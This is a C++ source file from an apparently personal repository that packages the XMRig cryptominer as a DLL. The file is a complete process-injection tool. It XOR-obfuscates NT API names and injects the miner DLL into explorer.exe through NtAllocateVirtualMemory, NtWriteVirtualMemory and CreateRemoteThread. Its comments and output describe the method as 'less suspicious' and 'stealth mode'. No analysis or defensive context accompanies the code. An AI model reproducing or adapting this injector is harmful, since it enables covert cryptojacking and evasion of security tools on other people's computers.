xmrig-minimized-dll/dll_injector.cpp
someone 9c26b7ac9e feat: Revert all previous changes and prepare for crash debugging
This commit reverts all previous CMake and C++ modifications made during the
attempt to implement automatic CUDA/OpenCL detection.

It also includes the current state of string replacements and new test files
(test_xmrig.cpp, dll_injector.cpp, dll_injectorWORKING.cpp) for debugging
application crashes.

The primary goal of this commit is to save all current progress to GitHub
before further debugging.
2025-11-06 23:40:01 +01:00

151 lines
6.0 KiB
C++

#include <windows.h>
#include <tlhelp32.h>
#include <winternl.h>
#include <iostream>
#include <vector>
// Typedefs (same)
typedef NTSTATUS (NTAPI* NtOpenProcess_t)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
typedef NTSTATUS (NTAPI* NtAllocateVirtualMemory_t)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS (NTAPI* NtWriteVirtualMemory_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
// XOR helpers (same)
const BYTE XOR_KEY = 0xAA;
std::string XORObfuscate(const std::string& str) {
std::string out = str;
for (char& c : out) c ^= XOR_KEY;
return out;
}
std::string XORDeobfuscate(const std::string& str) {
return XORObfuscate(str);
}
// Obfuscated strings (runtime decrypt)
std::string GetObfString(const std::string& obf) {
return XORDeobfuscate(obf);
}
// PID finder (same)
DWORD FindProcessId(const std::wstring& processName) {
DWORD pid = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W pe32 = { sizeof(PROCESSENTRY32W) };
if (Process32FirstW(hSnapshot, &pe32)) {
do {
if (processName == pe32.szExeFile) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}
return pid;
}
// Helper to print NTSTATUS as hex + Win32 error
void PrintError(const char* op, NTSTATUS status) {
DWORD err = GetLastError();
std::cerr << op << " failed with NTSTATUS 0x" << std::hex << status << " (Win32: " << std::dec << err << ")\n";
}
// Simplified InjectDLL (CreateRemoteThread, no Enum, XOR strings)
bool InjectDLL(DWORD pid, const std::string& dllPathObf) {
// Obfuscated API names (hash or XOR; here XOR for simplicity)
std::string obfNtOpen = XORObfuscate("NtOpenProcess");
std::string obfNtAlloc = XORObfuscate("NtAllocateVirtualMemory");
std::string obfNtWrite = XORObfuscate("NtWriteVirtualMemory");
HMODULE hNtdll = GetModuleHandleA(GetObfString(XORObfuscate("ntdll.dll")).c_str());
if (!hNtdll) { std::cerr << "ntdll load failed\n"; return false; }
NtOpenProcess_t pNtOpen = (NtOpenProcess_t)GetProcAddress(hNtdll, GetObfString(obfNtOpen).c_str());
NtAllocateVirtualMemory_t pNtAlloc = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, GetObfString(obfNtAlloc).c_str());
NtWriteVirtualMemory_t pNtWrite = (NtWriteVirtualMemory_t)GetProcAddress(hNtdll, GetObfString(obfNtWrite).c_str());
if (!pNtOpen || !pNtAlloc || !pNtWrite) {
std::cerr << "NT APIs resolve failed\n";
return false;
}
// Deobfuscate DLL path
std::string dllPath = XORDeobfuscate(dllPathObf);
SIZE_T dllPathSize = dllPath.size() + 1;
// Step 1: Open process
HANDLE hProcess = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) };
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)pid, NULL };
NTSTATUS status = pNtOpen(&hProcess, PROCESS_ALL_ACCESS, &oa, &cid);
if (status != 0) {
PrintError("NtOpenProcess", status);
return false;
}
if (!hProcess) { std::cerr << "NtOpenProcess returned NULL handle\n"; return false; }
// Step 2: Alloc/write DLL path
PVOID pRemoteDllPath = NULL;
SIZE_T regionSize = dllPathSize;
status = pNtAlloc(hProcess, &pRemoteDllPath, 0, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (status != 0) {
PrintError("NtAllocateVirtualMemory (DLL path)", status);
CloseHandle(hProcess);
return false;
}
SIZE_T bytesWritten = 0;
status = pNtWrite(hProcess, pRemoteDllPath, (PVOID)dllPath.c_str(), dllPathSize, &bytesWritten);
if (status != 0 || bytesWritten != dllPathSize) {
PrintError("NtWriteVirtualMemory (DLL path)", status);
regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, &regionSize, MEM_RELEASE, 0);
CloseHandle(hProcess);
return false;
}
// Step 3: CreateRemoteThread on LoadLibraryA (less suspicious than NtCreate)
HMODULE hKernel32 = GetModuleHandleA(GetObfString(XORObfuscate("kernel32.dll")).c_str());
LPTHREAD_START_ROUTINE pLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, GetObfString(XORObfuscate("LoadLibraryA")).c_str());
if (!pLoadLibrary) { std::cerr << "LoadLibraryA resolve failed\n"; regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, &regionSize, MEM_RELEASE, 0); CloseHandle(hProcess); return false; }
HANDLE hLoadThread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibrary, pRemoteDllPath, 0, NULL);
if (!hLoadThread) { std::cerr << "CreateRemoteThread failed: " << GetLastError() << "\n"; regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, &regionSize, MEM_RELEASE, 0); CloseHandle(hProcess); return false; }
WaitForSingleObject(hLoadThread, INFINITE);
DWORD loadExitCode = 0;
GetExitCodeThread(hLoadThread, &loadExitCode);
std::cout << "LoadLibrary thread exited with 0x" << std::hex << loadExitCode << " (DLL base if !=0)\n";
CloseHandle(hLoadThread);
// Double-load
hLoadThread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibrary, pRemoteDllPath, 0, NULL);
if (hLoadThread) {
WaitForSingleObject(hLoadThread, INFINITE);
CloseHandle(hLoadThread);
}
// Cleanup DLL path mem
regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, &regionSize, MEM_RELEASE, 0);
CloseHandle(hProcess);
return true;
}
int main() {
std::wstring targetName = L"explorer.exe";
DWORD pid = FindProcessId(targetName);
if (pid == 0) {
std::cerr << "Target process not found!\n";
return 1;
}
std::string dllPathPlain = "C:\\Users\\MyWindowsUser\\Downloads\\test_on_windows\\libxmrig-notls.dll";
std::string dllPathObf = XORObfuscate(dllPathPlain);
if (InjectDLL(pid, dllPathObf)) {
std::cout << "DLL injected into PID " << pid << " (stealth mode)!\n";
Sleep(5000);
} else {
std::cerr << "Injection failed!\n";
return 1;
}
return 0;
}